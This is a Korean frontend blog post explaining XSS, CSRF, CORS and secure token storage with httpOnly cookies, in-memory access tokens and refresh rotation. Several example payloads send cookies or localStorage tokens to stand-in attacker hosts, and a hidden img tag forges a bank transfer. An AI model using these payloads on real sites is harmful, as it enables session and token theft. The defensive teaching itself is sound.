프론트엔드

웹 보안 취약점과 토큰 관리방식 알아보기

고은수 2025. 3. 25. 22:03

 

    개요

    내가 학생때 했었던 프로젝트도 그랬었고 대부분 학생들의 사이드 프로젝트에서 보안을 딱히 고려하지 않는다. 따로 다루지 않아서 어떤 문제가 있는지 생각도 못하거나, 어차피 실제 서비스가 아니라는 생각에 나중에 생각할 문제로 미뤄두는 것 같다. 어떤 문제들이 발생할 수 있는지 간단히 알아보고 토큰을 어떻게 저장하는 게 좋을지 알아보자.

    웹 보안 취약점

    XSS(Cross-Site Scripting)

    XSS는 공격자가 웹사이트에 악성 스크립트를 삽입하여 다른 사용자의 브라우저에서 실행되도록 하는 보안 취약점이다. XSS는 크게 세 가지 유형이 있다.

     
    저장형(Stored) XSS

    악성 스크립트가 데이터베이스나 파일 시스템과 같은 영구 저장소에 저장된다.

    이런 식으로 공격자가 댓글 등 입력 필드에 스크립트를 삽입하고, 서버는 이를 검증하지 않고 데이터베이스에 저장한다. 이후 다른 사용자가 해당 게시글을 볼 때마다 댓글로 저장된 스크립트가 사용자의 브라우저에서 실행되어 사용자의 쿠키가 공격자에게 전송된다. 데이터베이스에 저장되어 일회성이 아니라 지속적으로 실행되기 때문에 가장 위험한 유형이다.
     

    반사형(Reflected) XSS

    반사형 XSS는 악성 스크립트가 데이터베이스에 저장되지 않고, 요청-응답 사이클에 그대로 포함되도록 한다. 예를 들어 검색을 할 때 검색창에 "노트북"이라고 입력하면, 웹 사이트는 보통 "검색 결과: 노트북"과 같이 입력값을 그대로 보여주는데 이 과정에 악성 스크립트를 끼워 넣는다.

    www.은행.com/search?q=<script>document.location='해커사이트.com?쿠키='+document.cookie</script>

    공격자가 Javscript 코드를 포함한 URL을 만들고,

    <h1>검색 결과: <script>document.location='해커사이트.com?쿠키='+document.cookie</script></h1>

    사용자가 이 URL을 이메일이나 메시지로 받아 클릭하면 브라우저에서 `<script>` 태그가 실행되어 사용자의 쿠키를 공격자의 사이트로 전송한다. 
     

    DOM기반(DOM-Based) XSS

    DOM기반 XSS는 위와 달리 악성 스크립트가 서버로 전송되지 않고 브라우저 내부에서 직접 발생한다. 반사형 XSS와 달리, 서버는 완전히 안전한 HTML을 응답하지만, 클라이언트 측 Javascript가 URL 데이터를 안전하지 않게 DOM에 삽입한다.
    예를 들어, 웹사이트에 사용자 이름을 URL에 포함시켜 환영 메시지를 보여주는 기능이 있다고 생각해 보자.

    // URL에서 'name' 매개변수 값을 가져와서
    let userName = new URLSearchParams(window.location.search).get('name');
    // 가져온 값을 페이지에 표시
    document.getElementById('greeting').innerHTML = '안녕하세요, ' + userName + '님!';

    이 경우, 공격자가 다음과 같은 URL을 만들어서 보내면

    은행.com/home?name=<script>document.location='https://해커사이트.com?cookie='+document.cookie</script>

    서버는 완전한 기본 HTML 페이지를 보내지만, 브라우저에서 Javascript가 실행될 때 URL에서 `name`값을 그대로 가져와 `innerHTML`에 삽입하게 된다. 이때 브라우저는 이 값을 HTML로 해석하여 `<script>` 태그를 실행하고 사용자의 쿠키가 해커의 사이트로 전송된다. DOM기반 XSS는 서버를 거치지 않기 때문에 서버 로그에 공격 흔적이 남지 않아 탐지하기 어렵다.
     

    방어 방법

    사용자 입력 검증 및 이스케이프 처리

    • 저장형 및 반사형 XSS는 서버 측과 클라이언트 측 모두 사용자 입력을 철저히 검증하고 `<`,`>`과 같은 특수문자를 이스케이프 처리하여 태그로 해석하지 않도록 해야 한다.
    • React와 같은 SPA 라이브러리에서는 자동 이스케이프 처리를 제공하여 XSS 공격을 방지한다.

    DOM 기반 XSS 방어
    하지만 DOM기반 XSS에서는 여전히 취약점이 존재하는데 이를 방지하기 위해 다음과 같은 방법을 추가로 적용해야 한다.

    • 안전한 DOM 조작 메서드 사용: `innerHTML`대신 `textContent`나 `innerText` 사용
    • DOM 조작 API 활용: HTML 태그를 직접 조작하는 대신 `document.createElement()`, `appendChild()`등의 안전한 DOM API 사용
    • URL 및 입력값 필터링: `location.href`, `localStorage` 등에서 가져온 값을 DOM에 삽입할 때 정규식이나 검증 함수를 사용하여 입력값 필터링
    • DOMPurify 같은 라이브러리 사용

    CSP(Content Security Policy) 적용
    웹사이트가 로드할 수 있는 리소스를 제한하여 어떤 출처의 스크립트, 스타일, 이미지 등이 실행될 수 있는지 미리 알려준다.

    Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

    다음과 같이 CSP 헤더를 설정하여 인라인 스크립트 실행을 차단할 수 있다.

    CSRF(Cross-Site Request Forgery)

    CSRF는 사용자의 인증된 세션을 악용하여 자신도 모르게 의도하지 않은 요청을 보내도록 하는 공격이다. XSS도 의도하지 않은 요청을 보내는 거 아닌가?라고 생각할 수 있는데, 이 둘은 공격 방식과 목표 등이 다르다.
     

    공격 실행 위치의 차이

    • XSS는 피해자의 브라우저에서 악성 스크립트가 실행된다.
    • CSRF는 공격자의 사이트에서 브라우저를 속여 정상 사이트로 요청을 보내도록 한다.

    공격 목표의 차이

    • XSS는 주로 쿠키, 세션 정보 등의 정보 탈취가 목적이다.
    • CSRF는 주로 기존 인증 세션을 활용한 상태 변경 작업의 실행이 목적이다. 공격자는 응답을 볼 수 없고, 사용자 대신 비밀번호 변경, 송금 등의 동작이 수행되도록 한다.

    "의도하지 않은 요청"의 성격 차이

    • XSS는 사용자가 의도치 않게 공격자에게 정보를 전송하게 된다.
    • CSRF는 사용자가 의도치 않게 취약한 웹사이트로 요청을 보내게 된다.

    CSRF 공격의 시나리오를 보자
      1. 순진한 고은수는 "안전은행" 사이트에 로그인하고 인터넷뱅킹을 이용하고 있다.
      2. 해커 김악성은 "안전은행"에 로그인한 상태에서 `https://safebank.com/transfer?to=김악성&amount=금액`URL로 접근하면 자신의 계좌로 송금이 이루어지는 걸 알고 있다.
      3. 김악성은 고은수에게 이메일을 보내고, 그 이메일엔 다음과 같은 이미지 태그가 숨겨져 있다.

    <img src="https://safebank.com/transfer?to=김악성&amount=1000000" style="display: none">

      4. 이 이미지를 로드하는 순간 브라우저는 자동으로 은행 사이트에 송금 요청을 보내게 된다.
      5. 고은수의 브라우저는 safebank.com으로 요청을 보내면서 인증 쿠키를 자동으로 함께 전송하고 김악성의 계좌로 백만 원이 이체된다.

    CORS(Cross-Origin Resource Sharing)

    CORS는 웹 애플리케이션이 다른 출처(Origin)의 리소스에 안전하게 접근할 수 있도록 하는 메커니즘이다. 웹에서 출처란 다음의 세 가지 요소의 조합이다.

    1. 프로토콜 (http, https)
    2. 도메인 (naver.com)
    3. 포트 번호 (80, 443)

    이 세 가지가 모두 같아야 같은 출처로 간주된다. 브라우저는 기본적으로 동일 출처 정책(Same Origin Policy)을 적용하는데 기본적으로 다른 출처의 리소스에 접근할 수 없다. 그러나 현대 웹 애플리케이션에서는 프론트엔드와 백엔드를 분리하여 다른 도메인에서 호스팅 하는 게 일반적이다. 이러한 환경에서 백엔드 API가 프론트엔드의 요청을 처리하려면 CORS 설정이 필수적이다.

    // Nest.js 서버
    app.enableCors({
        origin: configService.get<string>('CORS')?.split(',') || '*',
        credentials: true,
        methods: ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS', 'PATCH'],
        allowedHeaders: ['Content-Type', 'Authorization'],
        exposedHeaders: ['Authorization'],
      });

    위와 같이 백엔드 서버에서 다음과 같이 필요한 메서드, 헤더, 출처 등을 명시적으로 허용해주어야 한다.

    토큰을 어떻게 저장해야 할까?

    로컬 스토리지

    브라우저는 토큰을 저장할만한 저장소 4가지를 가지고 있다.

    • Cookie : 4KB 정도의 데이터를 저장하며, HTTP 요청 시 자동으로 서버로 전송된다.
    • localStorage : 만료 기간 없이 데이터를 영구적으로 저장한다. 브라우저를 닫아도 데이터가 유지되며, 도메인별로 분리되어 저장한다. 보통 5-10MB의 저장공간을 제공한다.
    • sessionStorage : 페이지 세션이 유지되는 동안만 데이터를 저장한다. 즉 탭이나 브라우저를 닫으면 데이터가 삭제되고, 로컬 스토리지와 마찬가지로 도메인별로 분리되어 저장한다.
    • Memory : 그냥 메모리이다. 페이지가 로드되는 시점에 할당되고, 페이지를 떠나거나 새로고침할 때 초기화된다.

    여기서 가장 간단한 방법은 로컬 스토리지에 저장하는 것이다. 하지만 로컬스토리지는 자바스크립트를 통해 쉽게 접근할 수 있으므로 위에서 설명한 XSS 공격에 매우 취약하다. 다음과 같이 간단하게 토큰을 탈취할 수 있다.

    <script>
      const stolenToken = localStorage.getItem('accessToken');
      fetch('https://malicious-server.com/steal?token=' + stolenToken);
    </script>

    이렇게 탈취된 토큰으로 공격자는 사용자의 계정에 자유롭게 접근할 수 있게 되고, 특히 로컬 스토리지는 페이지를 닫아도 데이터가 유지되므로 위험성이 더 크다. 이 외에도 로컬 스토리지를 사용할 때 발생하는 또 다른 문제점들이 있다:

    1. 만료시간 관리의 어려움 : 로컬 스토리지에는 자체적인 만료 메커니즘이 없어 토큰의 만료 시간을 적절히 관리하기 어려움
    2. 브라우저 탭 간 공유 문제 : 로컬 스토리지는 같은 도메인의 모든 탭에서 공유되므로 한 탭에서 XSS 공격이 발생하면, 같은 도메인의 모든 탭에서 토큰을 탈취할 수 있음
    3. 3rd party 라이브러리 위험 : 웹사이트에서 사용하는 3rd party 라이브러리가 악의적인 코드를 포함하고 있다면, 이들이 로컬 스토리지에 접근해 토큰을 탈취할 수 있음

    httpOnly 쿠키

    이러한 XSS 취약점을 방어하기 위해 `httpOnly` 플래그가 설정된 쿠키를 사용한다.

    res.cookie('accessToken', 'token', {
      httpOnly: true,
      maxAge: 3600000,
    });

    `httpOnly` 플래그가 설정된 쿠키는 HTTP 요청을 통해서만 서버로 전송된다. 즉 자바스크립트(`document.cookie`)를 통해 접근할 수 없게 되어 XSS 공격으로부터 효과적으로 토큰을 보호할 수 있다.
    하지만 이 쿠키는 여전히 HTTP 프로토콜을 통해 전송되므로 통신하는 과정에서 제3자가 이들 사이에 끼어들어 통신 내용을 가로채거나 변조하는 중간자 공격에 취약할 수 있다.
     

    Secure 플래그 설정

    httpOnly 쿠키의 보안을 더욱 강화하기 위해 `Secure` 플래그를 추가로 설정하여 쿠키가 HTTPS 프로토콜을 통해서만 전송되도록 제한할 수 있다.

    res.cookie('accessToken', 'token', {
      httpOnly: true,
      secure: true,
      maxAge: 3600000,
    });

    중간자 공격을 방지하고, HTTPS로 제공하는 웹사이트에서 HTTP요청이 발생하더라도, `secure` 쿠키는 이러한 요청에 포함되지 않아 보안을 강화한다. 이제 CSRF 공격을 방어해 보자.

    SameSite 설정

    쿠키에 `SameSite` 설정을 설정하여 쿠키가 같은 사이트 또는 다른 사이트의 요청에 포함될지 여부를 결정한다. 

    res.cookie('accessToken', 'token', {
      httpOnly: true,
      secure: true,
      sameSite: 'lax'
      maxAge: 3600000,
    });

    `SameSite`는 세 가지 옵션이 있다.

    1. Strict : 쿠키는 오직 같은 사이트의 요청에만 포함된다. 다른 사이트에서 링크를 통해 사이트에 접근하더라도 쿠키는 전송되지 않는다.
    2. Lax : 기본값. 링크 클릭, GET 요청, window.location.replace()과 같은 Javascript 탐색 함수를 통한 요청은 허용하고 `<img>`, `<iframe>`, `<script>`, AJAX와 같은 하위 리소스 요청, POST를 통한 form 제출, fetch API를 활용한 크로스 사이트 요청은 차단된다.
    3. None : 쿠키가 모든 요청에 포함된다.

    Same Origin vs Same Site ?

    `CORS` 설정에서 같은 오리진이 의미하는 거랑 `SameSite`에서 같은 사이트가 의미하는 건 다르다.
    오리진은 다음 중 하나라도 다르면 다른 출처로 간주한다.

    • 프로토콜 (http vs https)
    • 도메인 (example.com vs api.example.com)
    • 포트번호 (3000 vs 8080)

    즉, 현재 웹페이지가 https://frontend.com이고 API 서버가 https://api.backend.com인 경우 도메인이 다르므로 교차 출처 요청이다.
    반면, `sameSite`의 판단 기준은 유효 최상위 도메인+1(eTLD+1)이 동일해야 한다. 즉,

    • blog.naver.comcafe.naver.com은 같은 사이트로 판단한다.
    • myapp.github.iootherapp.github.io는 다른 사이트로 판단한다.

    다시 이전의 CSRF 공격 시나리오를 보자.

    <img src="https://safebank.com/transfer?to=김악성&amount=1000000" style="display: none">

    이런 이메일에서 이미지를 로드할 때 발생하는 요청은 cross-site 요청으로 간주된다. `Strict` 설정 시엔 쿠키가 절대 포함되지 않고, `Lax` 설정 시엔 최상위 탐색(링크 클릭)과 같은 HTTP 메서드 요청에만 쿠키가 포함된다. 즉, 이미지 로드와 같은 하위 리소스 요청은 쿠키를 포함하지 않아 인증 실패로 송금 요청이 거부된다.
    요약하자면, 다음과 같은 설정으로 보안 공격을 대비할 수 있다.

    1. XSS 공격: `httpOnly` 플래그로 자바스크립트를 통한 쿠키 접근 차단
    2. 중간자 공격: `secure` 플래그로 HTTPS를 통해서만 쿠키 전송
    3. CSRF 공격: `sameSite` 속성으로 다른 사이트에서의 요청에 쿠키가 포함되지 않도록 함
    4. 토큰 만료 관리: `maxAge` 속성으로 토큰의 수명 관리

    이중 토큰 전략

    보안과 사용자 경험을 모두 고려하기 위해 토큰을 두 가지 사용하는 전략이 있다.

    1. Access Token : 짧은 수명(보통 15분~1시간)을 가진 토큰으로, API 요청에 사용된다.
    2. Refresh Token : 긴 수명(보통 1일~2주)을 가진 토큰으로 액세스 토큰이 만료되었을 때 새로운 액세스 토큰을 발급받는 데 사용된다.

    토큰 수명이 길면 탈취 위험이 커지고, 토큰 수명이 짧으면 사용자가 자주 로그인 해야 하는 불편함이 있다. 이중 토큰 방식은 액세스 토큰의 수명을 짧게 설정하여 토큰이 탈취되더라도 위험을 최소화할 수 있다. 또한 리프레시 토큰을 통해 사용자 경험을 해치지 않고 새로운 액세스 토큰을 자동으로 발급받을 수 있다.

    프로젝트에 적용하기

    그래서 나는 토큰을 어떻게 관리했을까?
    프론트엔드는 `www.naver.com`, 백엔드는 `api.naver.com` 이라고 가정하자. 이 경우는 두 도메인이 같은 최상위 도메인(naver.com)을 공유하므로, SameSite 설정이 된 쿠키에 토큰을 저장해도 요청하는데 문제가 없다.
    하지만 `Strict` 설정일 땐 다른 문제가 발생한다. `Strict` 설정은 오직 같은 사이트에서의 요청에만 전송된다. 즉 다른 사이트(e.g. 구글 검색)에서 우리 사이트 링크를 클릭하면 쿠키가 전송되지 않으므로, 이전에 로그인 해두었더라도 매번 번거롭게 다시 로그인을 해야한다. 또한 Google Ads나 Google Analytics 등도 서드파티 쿠키를 사용하므로 사용하지 못한다. 그래서 사용자 경험을 위해 `SameSite='Lax'`로 설정해야했다. 이 설정은 일반적인 사용자 시나리오에서 로그인 상태를 유지하면서도 CSRF 공격으로부터 어느 정도 보호를 제공한다. 그러나 다음 시나리오를 생각해보자.

    1. 사용자는 www.naver.com에 로그인되어있다.
    2. 공격자가 이메일을 보내고, 그 이메일엔 hacker.naver.com(SameSite)으로 통하는 링크가 들어있다.
    3. 사용자가 그 링크를 클릭하면 해당 링크로 쿠키가 포함되서 전달된다!

    이렇듯 lax는 완벽하게 CSRF 공격을 보호하진 못하는 것 같다.
    따라서 최종적으로 access token은 메모리에 저장하는 방식을 선택했다. 이 방식은 모든 요청에 토큰을 보내는게 아니라, 원하는 요청에만 Authorization 헤더에 토큰을 포함하여 전송할 수 있도록 선택적으로 제어할 수 있고, 프론트엔드 상태 관리 시스템(Zustand 등)과 자연스럽게 통합할 수 있다. 이 방식은 access token을 쿠키에 포함해서 보내지 않기 때문에 CSRF 공격에 안전하다. 물론 XSS 공격 위험이 남아있지만, 이를 보완하기 위해 token의 만료시간을 짧게 설정하고 CSP(Content Security Policy) 등 추가적인 보안 설정을 적용할 수 있다.
    그럼 refresh token은 어떻게 해야할까? refresh token을 메모리에 저장하면 새로고침하면 사라지게 된다. 이러면 토큰을 재발급 받기 위해 존재하는 refresh token의 의미가 없어진다. 어쩔 수 없이 refresh token은 쿠키에 저장해야 하는데, 이러면 앞에서 말했듯 탈취될 위험이 남아있게 된다. 이를 위해 서버에서 refresh token을 관리하기 위한 구조를 추가하고 refresh token을 1회용으로 사용하도록 할 수도 있는데, 이는 아래에서 설명한다.

    import { create } from 'zustand';
    import { persist } from 'zustand/middleware';
    
    interface AuthState {
      accessToken: string | null;
      user: any | null;
      isAuthenticated: boolean;
      setAuth: (auth: { accessToken: string; user: any }) => void;
      clearAuth: () => void;
      setAuthenticated: (status: boolean) => void;
    }
    
    export const useAuthStore = create<AuthState>()(
      persist(
        set => ({
          accessToken: null,
          user: null,
          isAuthenticated: false,
          
          setAuth: auth =>
            set({
              accessToken: auth.accessToken,
              user: auth.user,
              isAuthenticated: true,
            }),
            
          clearAuth: () =>
            set({
              accessToken: null,
              user: null,
              isAuthenticated: false,
            }),
            
          setAuthenticated: (status: boolean) =>
            set({
              isAuthenticated: status,
            }),
        }),
        {
          name: 'auth-storage',
          partialize: state => ({ 
            user: state.user,
            isAuthenticated: state.isAuthenticated 
          }),
        },
      ),
    );

     
    Zustand의 persist 설정을 통해 `isAuthenticated`는 로컬 스토리지에 저장했다. 만약 `isAuthenticated`가 없이 메모리에 저장된 access token의 여부로 로그인 여부를 판단한다면, 새로고침이나 토큰 만료 시 토큰을 재발급하기 전까지 잠시 로그인되어있지 않은 것처럼 UI가 깜빡일 수 있다. 영구적인 로컬스토리지에 저장된 `isAuthenticated`로 로그인 여부를 판단하면 토큰이 잠깐 사라져서 재발급받아오더라도 변함없이 사용자 정보를 표시하고 UI가 유지된다. 다만, 이건 순전히 UI 목적이고 실제 인증은 유효한 토큰에 의존한다.

    토큰 자동 갱신

    api.interceptors.request.use(config => {
      const accessToken = useAuthStore.getState().accessToken;
      if (accessToken) {
        config.headers.Authorization = `Bearer ${accessToken}`;
      }
      return config;
    });
    
    api.interceptors.response.use(
      response => response,
      async error => {
        const originalRequest = error.config;
    
        if (error.response?.status === 401 && !originalRequest._retry && !originalRequest.url?.includes('/auth/refresh')) {
          originalRequest._retry = true;
    
          try {
            const refreshResponse = await api.post<RefreshTokenResponse>('/auth/refresh');
            const { accessToken, user } = refreshResponse.data;
    
            useAuthStore.getState().setAuth({ accessToken, user });
            originalRequest.headers.Authorization = `Bearer ${accessToken}`;
    
            return api(originalRequest);
          } catch (refreshError) {
            useAuthStore.getState().clearAuth();
            window.location.href = '/login';
            return Promise.reject(refreshError);
          }
        }
    
        return Promise.reject(error);
      },
    );

    axios 인터셉터를 활용하여 액세스 토큰이 만료되었을 때 리프레시 토큰을 포함한 요청을 날려 자동으로 새 액세스 토큰을 받는 과정을 자동화할 수 있다.

    1. 요청 인터셉터: 모든 API 요청에 현재 액세스 토큰을 헤더에 포함시킴
    2. 응답 인터셉터: 401(Unauthorized) 오류가 발생하면 리프레시 토큰을 사용해 새 액세스 토큰 요청
    3. 재시도 로직: 새 토큰을 받은 후 원래 요청을 다시 시도
    4. 오류 처리: 리프레시 토큰도 만료된 경우 사용자를 로그인 페이지로 리디렉션 

    이 방식의 장점은 다음과 같다.

    1. 사용자가 작업 중이거나 폼을 작성하고 있을 때 토큰이 만료되어도 인터셉터가 자동으로 토큰을 갱신하여 작업 흐름이 중단되지 않는다.
    2. 여러 API 요청이 동시에 발생하고 일부가 401 오류를 반환하더라도 인터셉터는 리프레시 토큰을 한 번만 사용하여 모든 실패한 요청을 재시도할 수 있다.
    3. 액세스 토큰의 수명을 짧게 설정하여 보안을 강화하면서도 사용자 경험을 해치지 않는다.
    4. 페이지 새로고침 시 메모리에 저장된 액세스 토큰은 사라지지만, 첫 API 요청 시 자동으로 토큰이 갱신되어 사용자는 이 과정을 인식하지 못한다.

    추가적으로 고려할만한 점

    토큰 블랙리스트

    토큰 방식의 문제점은 토큰이 탈취되었을 때 그 토큰을 회수하거나 사용 정지시킬 수 없다는 점이다. 그래서 그 토큰의 유효기간이 지나기 전까지 기다리기만 해야 하는데, 이를 보완하기 위해 서버에 블랙리스트를 따로 두어서 요청이 들어온 토큰이 블랙리스트에 있으면 거부하도록 할 수 있다. 그런데 그렇게 되면 사용자가 매번 요청할 때마다 서버는 해당 토큰이 블랙리스트에 등록되어 있는지 확인해야 하는데, 이는 토큰 방식의 장점인 무상태성(stateless)을 제대로 활용하지 못하므로 세션 방식과 다른 게 없는 것 같다. 일반적으로 빠른 조회 성능을 위해 주로 Redis를 활용한다.
     

    Refresh Token 저장소

    access token보다 긴 만료시간을 가진 refresh token이 탈취되면 더 심각한 보안 위험이다. 이를 방지하기 위해 서버에서 refresh token을 따로 저장하고 비정상적인 토큰 사용 패턴을 모니터링하는 게 일반적이다. 일반적인 흐름은 다음과 같다.

    1. Refresh Token 저장 및 검증
      • 서버는 refresh token을 데이터베이스에 저장한다.
      • 사용자가 새로운 access token을 요청하면, 서버는 저장된 refresh token과 대조하여 유효성을 검증한 후 새로운 access token을 발급한다.
    2. Token Rotation 적용
      • 사용자가 Refresh Token을 사용할 때마다 새로운 Refresh Token을 발급하고, 기존 토큰을 무효화한다.
      • 이를 통해 탈취된 Refresh Token이 반복적으로 사용되는 것을 방지할 수 있다.
    3. 비정상적인 로그인 시도가 감지되거나 사용자의 비밀번호가 변경될 경우, 해당 사용자의 모든 Refresh Token을 무효화한다.

    refresh token 저장소 역시 빠른 검증과 모니터링을 위해 주로 Redis를 활용한다.


    BFF (Backend for Frontend)

    클라이언트의 메모리에 토큰을 저장하지 않고, BFF 서버에 토큰을 저장하여 XSS 공격으로부터 완전히 보호할 수 있다. 사용자가 로그인하면 BFF가 인증 서버로부터 토큰을 받아 저장하고, 클라이언트는 토큰 대신 인증 상태를 나타내는 세션 쿠키만 가지고 있는다. 이 세션 쿠키는 사용자와 BFF 간의 관계만 식별하며, 클라이언트가 BFF에 API 요청을 보내면 BFF는 저장된 토큰을 사용해 실제 백엔드 API를 호출한다. 토큰이 만료되면 BFF가 자체적으로 리프레시 작업을 수행하며 클라이언트는 이를 신경 쓰지 않아도 된다. 이 방식은 BFF 서버가 장애인 경우 전체 애플리케이션에 영향을 줄 수 있고 추가적인 인프라 비용이 발생한다. 또한 세션 데이터를 여러 BFF 인스턴스 간에 공유하는 방법도 고려해봐야 할 것 같다.

    마무리

    음.. 토큰 방식의 문제점들을 해결하기 위해 서버에서 추가적으로 고려해야 할 부분이 계속 생기는 것 같다. 간단한 프로젝트라면 굳이 고생하지 말고 간단하게 세션 방식으로 인증을 구현해도 되지 않을까 싶다.